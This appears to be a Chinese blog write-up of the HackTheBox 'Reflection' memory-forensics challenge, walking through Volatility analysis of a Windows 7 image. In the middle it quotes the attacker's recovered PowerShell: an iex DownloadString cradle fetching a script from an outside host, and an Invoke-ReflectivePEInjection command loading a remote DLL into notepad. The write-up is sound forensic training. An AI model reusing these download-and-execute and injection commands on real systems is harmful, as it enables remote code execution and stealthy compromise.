HackTheBox Forensic Reflection #Windows(更新中)test

这是一道medium的取证题,下载下来是个memory.raw文件

用volatility分析一下

是个win7系统

看一下pstree

volatility -f memory.raw imageinfo

volatility -f memory.raw --profile Win7SP1x86_23418 pstree

列表下面有两个值得注意的进程powershell 和 notepad

用console看一下具体信息

volatility -f memory.raw --profile Win7SP1x86_23418 consoles

攻击者在文件夹C:\Windows\security中执行了update.ps1的脚本。默认情况下,这个文件夹没有update.ps1脚本。可疑项,需要分析。要访问这个ps1的powershell脚本,用filescan插件来定位文件的_file_OBJECT结构的物理地址,然后使用dumpfiles插件将其内容提取到磁盘。不过,该文件可能内存中不存在

volatility -f memory.raw --profile Win7SP1x86_23418 filescan 

输出内容太多了,grep一下

volatility -f memory.raw --profile Win7SP1x86_23418 filescan |grep update.ps1
Volatility Foundation Volatility Framework 2.6
0x000000003f4551c0      8      0 R--r-- \Device\HarddiskVolume1\Windows\security\update.ps1

问了下通义千问,说

输出结果表示在内存中的某个地址(0x000000003f4551c0)找到了一个名为"update.ps1"的文件,其大小为8字节,权限为只读(R--r--),路径为"\Device\HarddiskVolume1\Windows\security"。这可能是一个Windows PowerShell脚本文件,位于系统的"Windows\security"目录下。

找到了地址,我们拷贝一下,用 dumpfiles 插件

┌──(root㉿kali)-[/home/kali]
└─# mkdir -p dumps
                                                                                                                                   
┌──(root㉿kali)-[/home/kali]
└─# volatility -f memory.raw --profile Win7SP1x86_23418 dumpfiles -Q 0x000000003f4551c0  -D ./dumps
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3f4551c0   None   \Device\HarddiskVolume1\Windows\security\update.ps1

解释一下:

dumpfiles:这是一个Volatility插件,用于从内存中提取文件内容。

-Q 0x000000003f4551c0:指定了要提取的文件在内存中的地址。

-D ./dumps:这个选项指定了提取的文件保存到哪个目录

他下载了一个脚本叫做sysdriver.ps1,并把它加载到内存里

随后调用了一个脚本叫做invoke-relectivepeinjection,这不是powershell里一个默认的脚本

gpt的分析:

这两个命令在PowerShell环境中执行恶意操作。

iex (New-Object net.webclient).DownloadString('https://windowsliveupdater.com/sysdriver.ps1');
命令解释:

iex 是 PowerShell 中的别名,代表 "Invoke-Expression"。它用于执行一个字符串作为 PowerShell 命令。
(New-Object net.webclient) 创建了一个 .NET Framework 的 WebClient 对象,该对象用于访问网络资源。
.DownloadString('https://windowsliveupdater.com/sysdriver.ps1') 使用 WebClient 对象从指定的 URL('https://windowsliveupdater.com/sysdriver.ps1')下载一个字符串内容。在这个例子中,下载的是一个名为 "sysdriver.ps1" 的 PowerShell 脚本。
整个命令将下载的 "sysdriver.ps1" 脚本内容作为 PowerShell 命令执行。
这个命令通常被用于下载和执行恶意 PowerShell 脚本,攻击者可能利用它来控制受害者系统、安装恶意软件或窃取数据。

Invoke-ReflectivePEInjection -PEUrl https://windowsliveupdater.com/winmgr.dll -ProcName notepad
这个命令使用了 PowerShell Empire 框架中的 "Invoke-ReflectivePEInjection" 模块,用于在内存中加载并执行一个 DLL 文件。

Invoke-ReflectivePEInjection 是一个 PowerShell 命令,用于在内存中反射性地加载和执行一个可移植可执行文件(PE),如 DLL 或 EXE。
-PEUrl https://windowsliveupdater.com/winmgr.dll 指定了要下载和执行的 DLL 文件的 URL('https://windowsliveupdater.com/winmgr.dll')。
-ProcName notepad 指定了注入目标进程的名称。在这个例子中,DLL 将被注入到名为 "notepad" 的进程中。

这个命令通常被用于隐蔽地执行恶意 DLL,因为 DLL 直接在内存中执行,而不是磁盘上,这使得检测和分析变得更加困难。攻击者可能利用它来维持持久性、提升权限或执行其他恶意活动。 

下一步,去看这个脚本内容或者看notepad活动

update.ps1脚本在ps进程中被加载到内存,可以用memdump插件看powerhell 的内存信息

用memdump插件去把内存内容dump到硬盘里 看一看帮助,-p是指定pid -D输出位置

文件内容260+M ,在这个dmp文件里

图中显示,这个是Powersploit的模块

由于内存段必须被设置为rwx,dll被加载时,操作系统call dllmain的时候才能正常运行

malfind插件可以查找内存段中具有执行权限的片段,这种方法可以有效检测反射型dll注入

需要volshell这个插件进行进一步分析

dumpbyes

默认长度是128,这里载入更多的内存页看看

这些是dll的头部信息,虽然头部两个字节被清零了(可能是为了反取证),但是后面的部分还是一个有效的dll

DLL(动态链接库)文件的格式规范是由操作系统定义的,主要是为了确保 DLL 文件能够被正确地加载、解析和执行。以下是一些 DLL 格式规范的主要特点:

  1. DLL 头部:包含关于 DLL 文件的基本信息,如文件标识(通常是 "MZ" 和 "PE")、文件大小、各部分(如代码、数据、资源等)的位置和大小、入口点地址等。

  2. 节(Sections):DLL 文件通常由多个节组成,每个节包含特定类型的数据或代码。例如,".text" 节通常包含可执行代码,".data" 节包含初始化的数据,".rdata" 节包含只读数据等。

  3. 导入和导出表:DLL 文件可能需要导入其他 DLL 文件中的函数或数据,也可能导出自己的函数或数据供其他模块使用。这些导入和导出的信息都会在特定的表中记录。

  4. 重定位信息:由于 DLL 文件在内存中的加载地址可能会与磁盘上的存储地址不同,因此 DLL 文件中包含了重定位信息,以便在加载时对代码和数据的地址进行调整。

使用dlldump把这里的dll导出来

因为前面两个字节被破坏了,所以校验签名失败

上网搜了下,需要把导致这个报错检测的那一行py给注销掉 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值